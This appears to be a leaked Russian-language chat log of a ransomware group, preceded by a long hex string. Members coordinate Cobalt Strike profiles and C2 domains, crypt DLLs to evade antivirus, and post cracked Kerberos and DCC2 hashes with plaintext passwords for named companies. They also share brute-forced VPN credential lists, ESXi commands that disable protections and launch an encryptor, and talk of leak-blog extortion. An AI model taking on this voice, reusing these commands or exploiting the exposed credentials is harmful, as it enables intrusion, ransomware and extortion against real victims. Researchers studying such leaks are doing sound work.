A5D08BFE8FD269A5D3EFBE5121D25ABC6D431B479664F107BA7FFAF291E2A0B8A95E3DBDBD765685C0C3CF148A9CA0E97D4A509FA237F084B292B26EC71962EB5CADA093468767E076A25693F6AA625C2B4A88A09E7BA96DC4250FC61A42DC5CB45F294A5DE556C915A2A9983DDF4CD63E3CD7DCC37C1E7CB930BDAB550E9263022E7402B5E8BAD6C24401A602A4C71B72AB45A9AA78691BCB3F5FEC1E4B053B635BC60B6AEFC2E0BCBE7AE4692B49E91C303F957FEAA791D71921D4CCBE9D43A750A5B75C208BD0AFA537CF7EB1D3B2A76F4715BB1291F986FA8F90CC6A23389EE16C97F4466665CD7EE0CCBBF2AD51897F11AAAF4D31169B9C161FD2DB65C4F88CC0272B4D3B29D4BD969A362958DA1E80EBECF32BAE1B3C6848F9569E9D7D9375426ECB7B3CD1E16658136165FB43366D0F29B26CAD9F080E5D830E5398F042E75FCD99D69AD791EA0E267526A6731CA05B6691B06D83C01F94F211F5704F08A0E6A9E65893D766766C1A92050154D57609B828018510AD340046FB1FB501E9EBAF37DC6253680A4A9A73DAE0E7E38BFBA1E8CC22E86712702FAC357887A5B3F697371C5C54D14DFBA19F7A6F7D5ED94EFACC7CF1BBCFEB9B6C81B5982262F1A08A265150D9C6F2F20901691C3365D5CBD6F12676CA7F828DC66EC3892CC20B430678A1FC2413ACB1D063CA991EA340C0E327A614BCE15A715AF97236328F7068F2987A19766DB3BBBFEC8118CFCC053B46142C2840C773B7BF46D472C681A50D33000B4E27ACEFD6AF872D91B01B665193AA86813BB08BA644E0EF6CADBA812D95E1CE150177178DCCCD46EF698386370DD0C4D7B329F9295F26FFCA338CC47C746069F0919D2AC7806945BB3EC023FF4C22EA01EBDBDABDA4601DCD7CAE80CD101D922607B9B889298438E425B7DD954932572C189025B0ED42AEC99D6145FF7E3DDF0DAD313C28EFC8B2AF7556B72FAB596CDCE63513777021F4D5EFADE2F5FCCEB60FD91846D95F5CE02AF5381D9496E6B8928079D0500B1CBF2246367D3F8B567A0A61D2F5DAF08D9649299D18B6D3A6AB71C72F0E0AD0AA2552A30CDADEEE30AAE88B5356FFF2129E6E81A2ADB65DDBBC6557D5138D4A34E7ADBB818C7F0DB9124CA4B13C9844053B00F2CDA75D570198B400C14AD3572BA14D5F3444F98C65ADDAA286E808326BAA95B4E14C02B9FCDD80487B059B788A3DD558C726C0CC64DFE970422FE9C426E9B1A3D2621279E44B45D53E7BA7599FBD9B618AB9D14BF289FEED2FAA6737A86418AB6E25CD2FADA18F9FD167E552043A1DFB3C3A0A21D7D818FEFB3112C81A1F5BD107FCF27212C557FC66E63834FC05FF17E91FEAD5D0F033A86E26A39E331FFABFBF5A488CCBD6AAB8F64237DEBC3B28C56433BADC84BC03788E15D105F7BC8E6310AE2217EFCF231096A9AC2FA51A72834B83422FCFA7CAE1C2CDF45ABE098A0E46D2464C6DF0470BE4E8C32C6BE72C2D4031DD97F965AF87ACE6E6ED4A9B75F988CEDCFE87928E2311669E257D5031FB653001278B372754AE67CD07C8F3E194CA8AC73AB672F0A9ECDE399863F0675D111C60380A4559A122B99A2D771B85B33B57718A21B7D527ADE42F1EF940A1D3BE05CC2BE3F9FAD179A86BD54AE42FC4C746EDDC41D38D92ED4549DA87A3CE6C7E0`

```

.

* ```

пролил дллки

9aa9131d50cf7038dda4d2786df25a48

на линки

+++

а вы чекали исо эти на сетках? все ок запускается везде ?

+

детект теперь фонзи

Trojan:Win32/Phonzy.B!ml

Screenshot_2024-03-05_15-49-33.png

я кидаю PRT токен от битковой сетки

https://blog-netwrix-com.translate.goog/2023/05/13/pass-the-prt-overview/?_x_tr_sl=auto&_x_tr_tl=ru&_x_tr_hl=ru

это описание что это такое

я думаю вы с него будете дальше двигаться а не с веб интерфейса

http://temp.sh/cogvc/hana.pavlasovaheimstaden.cz.rar

afcjkmafcjkm

> <@usernamezz:matrix.bestflowers247.online> ```

++

+

+

скоро тоже проверю

спалило

вакатак

странно, это вроде трастовые линки

на сетка у вас все норм?

с двух линков что-то не дало скачать исо

опять же, это линки майкрософта

это вандрайв же

мы же когда слали последнее время, они максы 1 час жили

да, также

И вот еще сборка криптом rundll32 dll.dll,XaYMIPjoJYau

4.7z

> <@usernamegg:matrix.bestflowers247.online> [16:52:02] mrlapis: Скиньте пожалуйста RDP, там почистим

щас попробую последний файл

мне надо от тебя 1 домен от кобы

чтобы я сделал профиль тестовый 1 и тебе скинул

> <@usernamegg:matrix.bestflowers247.online> [16:52:02] mrlapis: Скиньте пожалуйста RDP, там почистим

ясно

+++

```

тут сегодняшняя новые серваки с доменом,ничего еще не установлено

* тут сегодняшние новые серваки с доменом,ничего еще не установлено

все креды указал

готово, сейчас сделаю базовые билды, затем на крипт

Так, профиль я сделал под домен `securecloudmanage.com`

по сути, в морде просто сетапьте сервер и просто вставляйте мой конфиг

ну профиль имею ввиду

вот профиль

это же наша установка?

вы тут просто менятее https-certificate, чтобы поставить под ваш домен и все

кобы и прокладки

ну DNS если настраивать, то там тоже есть для него поле

а то я смотрю строки не похожи на мою выдачу

просто раскоментить надо и все

а ок

без очереди сделать или не к спеху?

щас другой профиль скину

да,сек

```

вот с gotomeeting

сек

Ок, кобу только сразу устанавливайте

PASS: zXaXNGSOqbC3

http://temp.sh/ApruC/rlp.zip

вот тут 4 разных профиля на 1 домен

`$krb5tgs$23$*sqladmin$ATLANTICBULK.COM$ATLANTICBULK.COM/sqladmin*$de3635b5f41c0424c08286cec77e5622$6148b8fe5cc45b15ff371ed183524540be8554b24dcfa605386c0d2dfeec25ebf2a00d1cd87e5e8160b835854a89efa8ccb575d09a615574895e5835a170e2406e9e5294d453f81bc3d541e2bb78fe4c7cb5d3b32ab1e27e7d388fa1a2612f76ffb335a9d4d6d5e5b1592d844849e94ea65e92e1eef3ab0d779923ad88d4b1c76d820a8f8a5fac9f39a50b74cfc7c1c1f9e72b0822d8d6392b0b84f6815b2a97af499f1f9211f691dad5ca773f4a945bb465171e690ffe1107306050aec69691745535b783c47f1fce427e8d6babd489294724dc9d5c7cd79d16b1ecf7cd72ad62812463af5332503c0f2432b6b3131d544dca0fb75594b9eb299c534a1cb447b7e6ace282f52d91024ef49dbba8e30718d09e4d783a9f876bed831f052d258e8edbb6a0de9148942f32d41d865b2418d60efec92dc217325daf6bf54fbb6ae90dd8c4ff1091a9b66332557a61bba40aa4e05221102ebd868c082790c2b2f0963ea427587b5c418ab8df1b48bf48e75f3a01ebe7aa6fa98e16bfcb8f3689a38ceb98cbf8176e605c533f2459a7f10734893c151e7267a95c97c3c96400e5ae2320eaa271d73ff2beb1a948ac7b9bd1163f13339e5db59f0e20677ee936d8d20e2dea310b26b8ed8d3ff679d9a4339338eb9903ffe65e759dd20ae92ac7e1cb8ed690106b86fed6c9e6b69064c536c1e7adcb544487a53f20ece12383f74085c0e94e4040cd0062102ca40fc3985227918264ebf721155425c56875632b4d49a2dd6a674b4ccb826a69d68f1339e98f93d123d401215625c0c1fa74471c7ad87065b58b37cd450f104a26be1c3fafacc4121753f7f59c4c849aa72ce3fa8fb194c4d86cbc8981e68c5f1c8691d3cb0e0f9bc42d5032d2033f301f366c46031901d0981038b5b1115297f949f800689addf3e244b9f2200a79e60273eb2b32ca877e14dd3e7049609f2ba90362f065f2f00f1c8befe5a7703665530aa726ca77dafc4ba413f18d0975a47110286f674a0c49c5e0ebc7abc7cfb5e222fe2010fe88f6e4060aaad3d267fbd1cea2f3893b9ee8deb4d607819d2bf083859ef87ea78edeaf9933e42a7019dfd2120db2d41a117ae6b2512be2a008cfb235f60f4c150360b459b0e48bee208dcc9cc8b2df3476b487de763d053c28ad8bff6bbd9074f7143c6557c6802507283d2a8452c6f8f9875a8888c3ce16c3f8703015f3fcb209bdf8781478c3f21053b3c02401c69964d74fd0093fbfd376d3d5fcb29ab2d7565915b78ce0894adb8183c8a2d85ed661963cd5ed5a72f40ed3f085200791f305f569c47e5c7354b970afc308248dfbfbb4add0130cc9af26bcd37757d0a6dd7ce11d302e1a0996fb96739a82c0f397af58498f70847085d6e989382992753c73507429da41f7cb1f05fd240fc9462c048b103a4bb6ea992eb2716fab799ff58bc7a3d27b80b644a7fe161f86c17396af6d88157d39ad58e1ef302f392f7df232dc3f42ae00800b383f2262f2105caa458fe457f78e668286d438cafde41743bea9f63c0f59ea3f76ae3ce7ed7b9730a9eddb`

$krb5tgs$23$*sqladmin$ATLANTICBULK.COM$ATLANTICBULK.COM/sqladmin*$de3635b5f41c0424c08...9730a9eddb:SQL2008!

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*sqladmin$ATLANTICBULK.COM$ATLANTICBULK.COM/sqladmin*$de3635b5f41c0424c08...9730a9eddb:SQL2008!

securecloudmanage.com

foodbravoshop.com

на этот тоже сделать?

сек

PASS: byVBIO68l1hHDBecKFcuq5wKprmKWq

вот

> <@usernameyy:matrix.bestflowers247.online> Ок, кобу только сразу устанавливайте

я пока первую ставлю

да,попробую

я не на рдп тестирую

скажи последний деф просто

и запуск из под cmd

на рабочем столе

cargill.com 165B dostupen sha citrix

rundll32 file.dll, GetModuleProp

> <@usernamegg:matrix.bestflowers247.online> sent a file.

```

исправил это

flynncompanies.com - блог готов! там скачалось 3тб - написал 3.5

ctr

sek

он старый пытается накатитьт

4 новых скидывал которые

щас

SONIC_VALID_ITEMS_REVENUE.txt

соник дополненный файл

вроде есть крупные

офнусь

ставлю новый образ, буду еще раз дебажить

sc query csagent

да)

cernerworks.com na web citrixe shas poka ne zashel na provodnik

> <@cameron777:matrix.org> cernerworks.com na web citrixe shas poka ne zashel na provodnik

95.181.173.255

tam app odin otkril prtayus zayti v fayli

exe.zip

x86 + x64

cherez pritnet pritayus

* cherez printer pritayus

рано пока представил)

Крутая тема! Занимаюсь

```

arch_kekhash.txt

$krb5tgs$23$*ygiadmin$arch-con.com$...d38b04:D0ntP4nic!

++

выстроил себе полностью локальную инфру с кобой, дебажу, пока вообще не могу понять, вроде как все по доке сделано, дальше разбираюсь

завтра уже должно быть готово, нет чего то гипер сложного

> <@usernameyy:matrix.bestflowers247.online> sent a file.

5.7z

> <@usernameyy:matrix.bestflowers247.online> sent a file.

6.7z

grfdECnoenPxpMUJRZVirEedvKCqHJKCGhmOILUXQENHIWMIus

```

Возьму 10

* ```

$DCC2$10240#fdepina#c4527d1f546caae600ddd163e8d3ae21:Fred1966

x64 работает крипт, завтра потещу чуть тщательней и выдам в чат тестов

устал уже

$DCC2$10240#harringtond#93a2a8b776a24d79c78fe06d8e92c271:Jack123

* `$DCC2$10240#harringtond#93a2a8b776a24d79c78fe06d8e92c271:Jack123`

cobs.zip

> <@usernameyy:matrix.bestflowers247.online> exe.zip

не коннектило сюда

> <@burito:matrix.bestflowers247.online> sent a file.

> <@muaddib6:matrix.org> sent a file.

`$DCC2$10240#davisj#9b67640ce10c61b5192a5b2c1b138834:Barsh2019`

willislease.com

cними их дату с блога

они хотят платить

* ```

ку

тут?

короче JJ сетку раскрутил я ща разбираю

там папки \\IMS-DCSPB.INC.NET\St. Petersburg - CREW DOCS

image.png

оффис в санкт петербурге у них судя по всему. русские имена папки много папок людей с русскими именами и фамилиями.. думаю стоит ее дальше разбирать или нет... )

короче у них какой то ебейший офис в спб

Files and dirs count: 1345, total size of files: 208MB (output len: 55026)

1345 папок юзеров )))

* 1345 папок российских юзеров )))

image.png

не будем наверно ее делать лучше )))) у них на офф сайте эта инфа! ))

ведущее кадровое агенство в россии

image.png

думаю не стоит их делать... 100%

у низ прям дц спб есть

короче я пока стопнул по ней разбор. как скажешь если что могу продолжить.. не ведая что творю )

* у них прям дц спб есть

`64.176.219.106:45963 BOULEVARD`

* короче я пока стопнул по ней разбор. как скажешь если что могу продолжить..

`64.176.219.106:39459 BOULEVARD /// DUVEL`

`64.176.219.106:44477 BOULEVARD FIZ`

> <@usernamegg:matrix.bestflowers247.online> ```

PSL_FAQ_PaidSickLeaveFAQ ---------

United Seating and Mobility LLC Athens Branch_VR3442B_0 30 2021.pdf

image.png

прив, первый сегодняшний тест на X86 дал такой результ:

https://scanner.to/result_EDR/xpnsjWZEcAJ7

еще не все закончено, может даже меньше будет

но сентиль счас присутсвует еще

> <@cob_crypt_ward:matrix.bestflowers247.online> но сентиль счас присутсвует еще

надеюсь как минимум

`esxcli system settings advanced set -o /User/execInstalledOnly -i 0`

`nohup sh -c '/tmp/encryptor -killesxi' > /dev/null 2>&1 &`

`esxcli vm process list`

`find /vmfs -name "*" -type f -exec sh -c "tail -c 13 '{}' | if grep -q '2k0nighbxak'; then echo '{} locked:';fi;" \;`

POWERвьюшто

доброе утро

https://www-proofpoint-com.translate.goog/us/blog/threat-insight/ta577s-unusual-attack-chain-leads-ntlm-data-theft?_x_tr_sl=auto&_x_tr_tl=ru&_x_tr_hl=ru

`64.176.219.106:36613 SPORTSSOUTHBIZ`

SONIC_VALID_ITEMS_REVENUE.txt

FORTI_VALID_FROM_ALL_FILES_REVENUE.txt

CISCO_BRUTED_VALID_ITEMS_REVENUE.txt

`https://vcenter.sportssouth.biz/`

image.png

yy: Скинь ESXscan который bypassping

EsxiScan.exe

-bypassping - отключить пинг

> <@usernameyy:matrix.bestflowers247.online> -bypassping - отключить пинг

> <@usernamegg:matrix.bestflowers247.online> [02:01:46] vns10k -выгружает хосты шодан,: ну не все сразу, выгружу это и до пало альто очередь дойдет, насчет до утра не знаю, кину как будет готово

SONIC_BRUT_VALID_REVENUE.txt

соник с брута еще

> <@usernamegg:matrix.bestflowers247.online> сервера больше не нужны под новые виды впна ?

> <@usernamegg:matrix.bestflowers247.online> sent a file.

```

а приват какой файл хочет собрать?

получилось посмотреть что-то из вчерашнего?

> <@usernamegg:matrix.bestflowers247.online> что бы. форти еще больше находило надо больше грузить офа и маил пасс ?

но и по тем доменам, что я дал

а не просто любое мыло и пасс

> <@usernamegg:matrix.bestflowers247.online> sent a file.

пока ничего не пишу, тк сегодня сам тестирую, что в рамках моих возможностей и фикшу сразу (уже нашел что не работает). После моего теста отдам нашим ребятам на более глубокое тестировние

```

+

с соника что-то взяли в работу?

какие данные обычно чувствительны и за них готовы платить?

чтобы не публиковали

повысить тоже не получается?

я сейчас допилю фиш и чек того что приходит и попробуем прослать побольше

бро а впны подошли?

+

я пока вочгардом занят

или слать сегодня будем уже?

+

я проверил, у меня чисто

ну что-то новенькое

ясно, видимо без админ прав не запустят исо этот

а мы тоже помню исо слали как не в себя)

и зря получается

ок, делаю

еще тут заметил, что вот есть апишники без сертов

и через команду host тоже можно домен вытащить

> <@usernamegg:matrix.bestflowers247.online> [20:04:37] Gzman: https://pixeldrain.com/u/Em5dJ3de

+

там comcast.net почти везде

оч много

наверное как-то случайно попал он

Решил проблему

сейчас скидываю YY, чтобы он уже засетапил сервер и проверим

Првиет

* Привет

скинул YY

image.png

* там comcast.net почти везде в этом файле

```

с новым профилем

протестируйте

я сделал cob15

значит cob15

я скинул в общий чат новые данные ага

ок

только нельзя кидать вс

ё

там мой софт

`bc1q5w2mnklv6uzw89s6ucddmq4z33d05dj96dcwy0`

хотя но втором серваке тоже мой софт

идея короче фигня)

всё работает там

а уже все вроде как, все работает

stage пейлоад работает?

++

еще напиши что нужно сделать

я пока сам исправил в профиле

слип поставил 5.9 сек

в 15

окей

щас скину новые

> <@usernamegg:matrix.bestflowers247.online> ну лоадер конечно же надо вычистить в первую очеред после профиля

> <@usernameyy:matrix.bestflowers247.online> stage пейлоад работает?

я еще скинул 4 профиля на всякий YY

да

он не занимается ботнетом что ли?

> <@usernamegg:matrix.bestflowers247.online> лоадер и кит надо чистить

начинаю это

атачем тогда прошлю

будет атача зип + исо + мусор

* будет атача зип: исо + мусор